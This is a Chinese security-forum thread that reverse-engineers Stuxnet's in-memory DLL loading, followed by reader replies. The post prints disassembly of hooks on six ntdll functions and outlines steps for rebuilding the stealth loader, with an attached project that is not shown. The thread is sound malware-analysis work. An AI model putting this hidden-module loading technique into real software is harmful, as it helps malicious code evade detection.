首页
社区
课程
招聘
[原创]A了Stuxnet的加载DLL代码--从内存中加载某个DLL
2013-6-15 21:20 14396

[原创]A了Stuxnet的加载DLL代码--从内存中加载某个DLL

2013-6-15 21:20
14396
Stuxnet出来很久很久了,之前看过分析文档,觉得它的加载DLL的方式比较有意思,一直没有时间来整,近段时间比较空闲,于是就有了这篇文章

首先,Stuxnet加载DLL的方式,不是传统的PE LOADER,而是将一片内容重新映射,这样做的效果就是,映射过后,这个DLL没有出现在模块列表中,但是可以GetProcAddress获得DLL的导出函数,Stuxnet调用15号导出函数就是这么干的。

Stuxnet的做法如下:
HOOK了6个ntdll的函数,分别为:

ZwCreateSection
ZwClose
ZwMapViewOfSection
ZwOpenFile
ZwQueryAttributesFile
ZwQuerySection


这6个函数在LoadLibray执行中调用。
在分析6个HOOK函数时,首先要知道的是:
ZwCreateSection后MapViewOfFile,不ZwClose,直接UnMapViewOfFile,那么第二次Map的时候,返回的就是上次映射的内存,我觉得这就是Stuxnet这种调用方式的核心。

在调试Stuxnet过程中,依次对这几个函数下断点,可以发现LoadLibraryW有这样的执行顺序:
1.查找文件(ZwQueryAttributesFile)
2.打开文件(ZwOpenFile)
3.创建Section(ZwCreateSection)
4.填充某些信息(ZwQuerySection)
5.关闭文件(ZwClose)
6.映射内存(ZwMapViewOfSection)
7.关闭section(ZwClose)

HOOK上面这些函数,Stuxnet还准备了:一个假的文件句柄,一个没有Close的Section句柄,以及QuerySection需要的数据

Stuxnet HOOK写得不错,直接把一段Shellcode考到NTDLL中,统一了HOOK的入口,在入口中再判断,跳转到对应的HOOK流程,如下:

.text:10001B87 loc_10001B87:                 ; DATA XREF: sub_100017F5+108o
.text:10001B87                                         ; .text:off_10001AB2o
.text:10001B87                 pop     edx
.text:10001B88                 test    dl, dl
.text:10001B8A                 jz      short loc_10001BB1 ; ZwMapViewOfSection
.text:10001B8C                 dec     dl
.text:10001B8E                 jz      loc_10001C16    ; ZwCreateSection
.text:10001B94                 dec     dl
.text:10001B96                 jz      loc_10001C57    ; ZwOpenFile
.text:10001B9C                 dec     dl
.text:10001B9E                 jz      loc_10001CA2    ; ZwClose
.text:10001BA4                 dec     dl
.text:10001BA6                 jz      loc_10001CEC    ; ZwQueryAttributesFile
.text:10001BAC                 jmp     loc_10001D3D    ; ZwQuerySection


首先是 ZwQueryAttributesFile
.text:10001CF5                 push    eax
.text:10001CF6                 push    edx
.text:10001CF7                 push    edi
.text:10001CF8                 mov     edi, [esp+14h]
.text:10001CFC                 call    CompareName
.text:10001D01                 pop     edi
.text:10001D02                 pop     edx
.text:10001D03                 test    eax, eax
.text:10001D05                 jz      short loc_10001D1A
.text:10001D07                 pop     eax
.text:10001D08                 test    edx, edx
.text:10001D0A                 jz      short loc_10001D17
.text:10001D0C                 mov     edx, [esp+0Ch]
.text:10001D10                [COLOR="red"] mov     dword ptr [edx+20h], 80h[/COLOR]
.text:10001D17
.text:10001D17 loc_10001D17:                           ; CODE XREF: .text:10001D0Aj
.text:10001D17                 xor     eax, eax
.text:10001D19                 retn
.text:10001D1A ; ---------------------------------------------------------------------------
.text:10001D1A
.text:10001D1A loc_10001D1A:                           ; CODE XREF: .text:10001D05j
.text:10001D1A                 pop     eax
.text:10001D1B
.text:10001D1B loc_10001D1B:                           ; CODE XREF: .text:10001CF3j
.text:10001D1B                 push    edx
.text:10001D1C                 call    sub_10001DF1
.text:10001D21                 cmp     dword ptr [edx+4], 0
.text:10001D25                 jnz     short loc_10001D30
.text:10001D27                 pop     edx
.text:10001D28                 lea     edx, [esp+8]
.text:10001D2C                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
.text:10001D2C                                         ; DS:SI -> counted CR-terminated command string
.text:10001D2E                 jmp     short locret_10001D3C
.text:10001D30 ; ---------------------------------------------------------------------------
.text:10001D30
.text:10001D30 loc_10001D30:                           ; CODE XREF: .text:10001D25j
.text:10001D30                 pop     edx
.text:10001D31                 lea     edx, [esp+8]
.text:10001D35                 call    large dword ptr fs:0C0h
.text:10001D3C
.text:10001D3C locret_10001D3C:                        ; CODE XREF: .text:10001D2Ej
.text:10001D3C                 retn


执行流程很明了,判断文件名,如果是的话,直接FileInformation->FileAttributes=0x80;
否则,调用int 2e,执行原来的流程

ZwOpenFile
.text:10001C60                 push    eax
.text:10001C61                 push    edi
.text:10001C62                 mov     edi, [esp+18h]
.text:10001C66                 call    CompareName
.text:10001C6B                 mov     edx, eax
.text:10001C6D                 pop     edi
.text:10001C6E                 pop     eax
.text:10001C6F                 test    edx, edx
.text:10001C71                 jz      short loc_10001C80
.text:10001C73                 mov     eax, [esp+8]
.text:10001C77                 mov     dword ptr [eax], 0AE1982AEh
.text:10001C7D                 xor     eax, eax
.text:10001C7F                 retn
.text:10001C80 ; ---------------------------------------------------------------------------
.text:10001C80
.text:10001C80 loc_10001C80:                           ; CODE XREF: .text:10001C5Ej
.text:10001C80                                         ; .text:10001C71j
.text:10001C80                 push    edx
.text:10001C81                 call    sub_10001DF1
.text:10001C86                 cmp     dword ptr [edx+4], 0
.text:10001C8A                 jnz     short loc_10001C95
.text:10001C8C                 pop     edx
.text:10001C8D                 lea     edx, [esp+8]
.text:10001C91                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
.text:10001C91                                         ; DS:SI -> counted CR-terminated command string
.text:10001C93                 jmp     short locret_10001CA1
.text:10001C95 ; ---------------------------------------------------------------------------
.text:10001C95
.text:10001C95 loc_10001C95:                           ; CODE XREF: .text:10001C8Aj
.text:10001C95                 pop     edx
.text:10001C96                 lea     edx, [esp+8]
.text:10001C9A                 call    large dword ptr fs:0C0h
.text:10001CA1
.text:10001CA1 locret_10001CA1:                        ; CODE XREF: .text:10001C93j
.text:10001CA1                 retn
.text:10001CA2 ; ---------------------------------------------------------------------------
.text:10001CA2
.text:10001CA2 loc_10001CA2:                           ; CODE XREF: .text:10001B9Ej
.text:10001CA2                 [COLOR="Red"]cmp     dword ptr [esp+8], 0AE1982AEh[/COLOR]
.text:10001CAA                 jnz     short loc_10001CAF
.text:10001CAC                 xor     eax, eax
.text:10001CAE                 retn


同理,判断是否是要打开的文件,如果是,则返回假文件句柄

ZwCreateSection
.text:10001C16                 [COLOR="red"]cmp     dword ptr [esp+20h], 0AE1982AEh[/COLOR].text:10001C1E                 jnz     short loc_10001C35
.text:10001C20                 call    GetFakeData
.text:10001C25                 test    edx, edx
.text:10001C27                 jz      short loc_10001C35
.text:10001C29                 mov     edx, [edx+8]
.text:10001C2C                 mov     eax, [esp+8]
[COLOR="red"].text:10001C30                 mov     [eax], edx[/COLOR]
.text:10001C32                 xor     eax, eax
.text:10001C34                 retn
.text:10001C35 ; ---------------------------------------------------------------------------
.text:10001C35
.text:10001C35 loc_10001C35:                           ; CODE XREF: .text:10001C1Ej
.text:10001C35                                         ; .text:10001C27j
.text:10001C35                 push    edx
.text:10001C36                 call    sub_10001DF1
.text:10001C3B                 cmp     dword ptr [edx+4], 0
.text:10001C3F                 jnz     short loc_10001C4A
.text:10001C41                 pop     edx
.text:10001C42                 lea     edx, [esp+8]
.text:10001C46                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
.text:10001C46                                         ; DS:SI -> counted CR-terminated command string
.text:10001C48                 jmp     short locret_10001C56
.text:10001C4A ; ---------------------------------------------------------------------------
.text:10001C4A
.text:10001C4A loc_10001C4A:                           ; CODE XREF: .text:10001C3Fj
.text:10001C4A                 pop     edx
.text:10001C4B                 lea     edx, [esp+8]
.text:10001C4F                 call    large dword ptr fs:0C0h
.text:10001C56
.text:10001C56 locret_10001C56:                        ; CODE XREF: .text:10001C48j
.text:10001C56                 retn

首先,判断文件句柄是不是假文件句柄,如果是的话,返回之前没有Close的Section句柄

ZwQuerySection
:10001D3D                 call    GetFakeData
.text:10001D42                 test    edx, edx
.text:10001D44                 push    edx
.text:10001D45                 jz      short loc_10001D8C
.text:10001D47                 mov     edx, [edx+8]
.text:10001D4A                 [COLOR="red"]cmp     edx, [esp+0Ch][/COLOR]
.text:10001D4E                 jnz     short loc_10001D8C
.text:10001D50                 cmp     dword ptr [esp+10h], 1
.text:10001D55                 jnz     short loc_10001D8C
[COLOR="red"].text:10001D57                 cmp     dword ptr [esp+18h], 30h
.text:10001D5C                 jl      short loc_10001D85[/COLOR]
.text:10001D5E                 pop     edx
.text:10001D5F                 push    ecx
.text:10001D60                 push    esi
.text:10001D61                 push    edi
[COLOR="red"].text:10001D62                 lea     esi, [edx+50h]
.text:10001D65                 mov     edi, [esp+1Ch]
.text:10001D69                 mov     ecx, 30h
.text:10001D6E                 rep movsb[/COLOR]
.text:10001D70                 pop     edi
.text:10001D71                 pop     esi
.text:10001D72                 pop     ecx
.text:10001D73                 mov     eax, [esp+18h]
.text:10001D77                 cmp     eax, 0
.text:10001D7A                 jz      short loc_10001D82
.text:10001D7C                 mov     dword ptr [eax], 30h
.text:10001D82
.text:10001D82 loc_10001D82:                           ; CODE XREF: .text:10001D7Aj
.text:10001D82                 xor     eax, eax
.text:10001D84                 retn
.text:10001D85 ; ---------------------------------------------------------------------------
.text:10001D85
.text:10001D85 loc_10001D85:                           ; CODE XREF: .text:10001D5Cj
.text:10001D85                 pop     edx
.text:10001D86                 [COLOR="red"]mov     eax, 0C000000Dh[/COLOR]
.text:10001D8B                 retn
.text:10001D8C loc_10001D8C:                           ; CODE XREF: .text:10001D45j
.text:10001D8C                                         ; .text:10001D4Ej ...
.text:10001D8C                 pop     edx
.text:10001D8D                 push    edx
.text:10001D8E                 call    sub_10001DF1
.text:10001D93                 cmp     dword ptr [edx+4], 0
.text:10001D97                 jnz     short loc_10001DA2
.text:10001D99                 pop     edx
.text:10001D9A                 lea     edx, [esp+8]
.text:10001D9E                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
.text:10001D9E                                         ; DS:SI -> counted CR-terminated command string
.text:10001DA0                 jmp     short locret_10001DAE
.text:10001DA2 ; ---------------------------------------------------------------------------
.text:10001DA2
.text:10001DA2 loc_10001DA2:                           ; CODE XREF: .text:10001D97j
.text:10001DA2                 pop     edx
.text:10001DA3                 lea     edx, [esp+8]
.text:10001DA7                 call    large dword ptr fs:0C0h
.text:10001DAE
.text:10001DAE locret_10001DAE:                        ; CODE XREF: .text:10001DA0j
.text:10001DAE                 retn

判断Size是不是0x30,不是的话,返回0C000000Dh,如果section句柄是指定的句柄,是的话,将内存中的PE头相关信息复制到对应的参数

ZwMapViewOfSection
.text:10001BB1                 call    GetFakeData
.text:10001BB6                 test    edx, edx
.text:10001BB8                 jz      short loc_10001BCD
.text:10001BBA                 push    edx
.text:10001BBB                 mov     edx, [edx+8]
.text:10001BBE                 cmp     edx, [esp+0Ch]
.text:10001BC2                 jnz     short loc_10001BCC
[COLOR="red"].text:10001BC4                 mov     dword ptr [esp+30h], 40h[/COLOR]
.text:10001BCC
.text:10001BCC loc_10001BCC:                           ; CODE XREF: .text:10001BC2j
.text:10001BCC                 pop     edx
.text:10001BCD
.text:10001BCD loc_10001BCD:                           ; CODE XREF: .text:10001BB8j
.text:10001BCD                 push    edx
.text:10001BCE                 call    sub_10001DF1
.text:10001BD3                 cmp     dword ptr [edx+4], 0
.text:10001BD7                 jnz     short loc_10001BE2
.text:10001BD9                 pop     edx
.text:10001BDA                 lea     edx, [esp+8]
.text:10001BDE                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
.text:10001BDE                                         ; DS:SI -> counted CR-terminated command string
.text:10001BE0                 jmp     short loc_10001BEE
.text:10001BE2 ; ---------------------------------------------------------------------------
.text:10001BE2
.text:10001BE2 loc_10001BE2:                           ; CODE XREF: .text:10001BD7j
.text:10001BE2                 pop     edx
.text:10001BE3                 lea     edx, [esp+8]
.text:10001BE7                 call    large dword ptr fs:0C0h
.text:10001BEE
.text:10001BEE loc_10001BEE:                           ; CODE XREF: .text:10001BE0j
.text:10001BEE                 test    eax, eax
.text:10001BF0                 jnz     short locret_10001C15
.text:10001BF2                 call    GetFakeData
.text:10001BF7                 test    edx, edx
.text:10001BF9                 jz      short loc_10001C13
.text:10001BFB                 mov     edx, [edx+8]
.text:10001BFE                 cmp     edx, [esp+8]
.text:10001C02                 jnz     short loc_10001C13
.text:10001C04                 mov     edx, [esp+10h]
.text:10001C08                 push    edx
.text:10001C09                 call    GetFakeData
.text:10001C0E                 mov     edx, [edx+0Ch]
[COLOR="red"].text:10001C11                 call    edx[/COLOR];Fix Relocation
.text:10001C13
.text:10001C13 loc_10001C13:                           ; CODE XREF: .text:10001BF9j
.text:10001C13                                         ; .text:10001C02j
.text:10001C13                 xor     eax, eax
.text:10001C15
.text:10001C15 locret_10001C15:                        ; CODE XREF: .text:10001BF0j
.text:10001C15                 retn

如果是指定section句柄,则修改内存属性为PAGE_EXECUTE_WRITECOPY,接着调用原来函数,再一次判断section句柄,如果匹配,则修正重定位表(测试的时候,忽略了重定位,结果各种加载不上。。。)

最后就是ZwClose
.text:10001CA2                [COLOR="red"] cmp     dword ptr [esp+8], 0AE1982AEh[/COLOR].text:10001CAA                 jnz     short loc_10001CAF
.text:10001CAC                 xor     eax, eax
.text:10001CAE                 retn
.text:10001CAF ; ---------------------------------------------------------------------------
.text:10001CAF
.text:10001CAF loc_10001CAF:                           ; CODE XREF: .text:10001CAAj
.text:10001CAF                 call    GetFakeData
.text:10001CB4                 test    edx, edx
.text:10001CB6                 jz      short loc_10001CCA
.text:10001CB8                 push    eax
.text:10001CB9                 mov     eax, [esp+0Ch]
.text:10001CBD                [COLOR="red"] cmp     [edx+8], eax[/COLOR].text:10001CC0                 jnz     short loc_10001CC9
.text:10001CC2                 mov     dword ptr [edx+8], 0
.text:10001CC9
.text:10001CC9 loc_10001CC9:                           ; CODE XREF: .text:10001CC0j
.text:10001CC9                 pop     eax
.text:10001CCA
.text:10001CCA loc_10001CCA:                           ; CODE XREF: .text:10001CB6j
.text:10001CCA                 push    edx
.text:10001CCB                 call    sub_10001DF1
.text:10001CD0                 cmp     dword ptr [edx+4], 0
.text:10001CD4                 jnz     short loc_10001CDF
.text:10001CD6                 pop     edx
.text:10001CD7                 lea     edx, [esp+8]
.text:10001CDB                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
.text:10001CDB                                         ; DS:SI -> counted CR-terminated command string
.text:10001CDD                 jmp     short locret_10001CEB
.text:10001CDF ; ---------------------------------------------------------------------------
.text:10001CDF
.text:10001CDF loc_10001CDF:                           ; CODE XREF: .text:10001CD4j
.text:10001CDF                 pop     edx
.text:10001CE0                 lea     edx, [esp+8]
.text:10001CE4                 call    large dword ptr fs:0C0h
.text:10001CEB
.text:10001CEB locret_10001CEB:                        ; CODE XREF: .text:10001CDDj
.text:10001CEB                 retn

判断是不是文件句柄,如果是的话,直接返回SUCCESS,判断是不是section句柄,如果是的话,将保存的句柄赋0值,然后调用原来的函数关闭

以上就是HOOK的分析过程,重写的思路可以简化为:
1.将某个DLL文件读到内存中,然后按照内存对齐,映射为某片内存,然后反映射。
2.HOOK 上面6个函数
3.调用LoadLibraryW,参数为一个硬盘中不存在的文件

在重写过程中,我仿造Stuxnet这种统一HOOK入口的方式,碰到一个蛋疼的问题,读取参数读取错误,导致堆栈混乱,为了解决这个问题,我给每个函数都加了一个参数,详细见代码。。

附件就是一个实例工程和Stuxnet的IDB,代码很粗糙,已知不足如下:
1.UNICODESTRING的比较,我直接写死了
2.修复重定位表时,只考虑了IMAGE_REL_BASED_HIGHLOW
还有N多BUG,等着各路神人拍砖了

最后,这种调用方式,在最后一步调用LoadLibrayW的时候,不能加路径,只能文件名!加路径的话就OVER了!

我不知道之前是否有牛人分析过,此贴意在抛钻引玉,欢迎拍砖。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞3
打赏
分享
最新回复 (18)
雪    币: 114
活跃值: (150)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qqlinhai 2013-6-15 21:32
2
0
此贴必火,前排招租位。。
雪    币: 142
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xiejienet 2013-6-15 21:34
3
0
版主,快来射...
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
封心锁爱 2013-6-15 22:21
4
0
菜鸟先mark
雪    币: 220
活跃值: (626)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 2013-6-15 22:50
5
0
前来支持,有码就是好
雪    币: 276
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
loveqqc 2013-6-16 07:40
6
0
膜拜楼主,不错啊,学习
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
boainfall 2013-6-16 09:05
7
0
菜鸟过来学习
雪    币: 232
活跃值: (192)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zzcc 2013-6-16 09:43
8
0
dll貌似是国产中望cad
雪    币: 8861
活跃值: (2369)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 10 2013-6-16 10:06
9
0
话说stuxnet的代码A了某老外论坛里的残疾版Loader。
完整版Loader,某些人手里有。

我的老帖子也是讨论这个问题:
http://bbs.pediy.com/showthread.php?t=159743
雪    币: 1042
活跃值: (455)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Rookietp 2013-6-16 10:18
10
0
Mark 123456 有时间学习
雪    币: 66
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
phthegreat 2013-6-16 12:28
11
0
原来V大早有研究,学习学习
雪    币: 677
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hezhang 2013-6-17 18:40
12
0
学习了 感谢LZ
雪    币: 709
活跃值: (2240)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 25 2013-6-18 11:11
13
0
用这种方式加载DLL的好处是什么呢?就是为了隐藏DLL模块?

为了在程序里面再加载另外一个DLL,费劲HOOK一堆函数。
如果单单为了研究技术,那也没什么。如果用于其他方面,看不出有什么优势~~
雪    币: 8861
活跃值: (2369)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 10 2013-6-18 11:37
14
0
关键是能支持VMP和C#~~~
雪    币: 794
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
Winker 8 2013-6-18 12:58
15
0
我是来膜拜楼上的楼上那么多精华文章的。
雪    币: 47
活跃值: (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lhwqqq 2013-6-22 09:49
16
0
AV组合真是形影不离啊
雪    币: 66
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
phthegreat 2013-7-4 14:15
17
0
顿时感觉层次不够了。。看来还需要继续锻炼啊。。
雪    币: 1275
活跃值: (41)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
suiyu 2013-7-11 14:44
18
0
在俺的电脑上编译了之后,跑不起来,
DWORD GetEAX()
{
        DWORD dwEAX;
        _asm
        {
                mov dwEAX,eax;
        }
        return dwEAX;
}
此函数返回的EAX的值是一长串数字,不是需要Hook的入口数字。。。。所以,在DWORD ZwDetour()这个总是返回0咯。。。XP系统,VC6编译!
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
_九公子 2020-5-25 21:22
19
0
楼主有木有震网病毒的样本呀,,,可不可以分享下,,,
游客
登录 | 注册 方可回帖
返回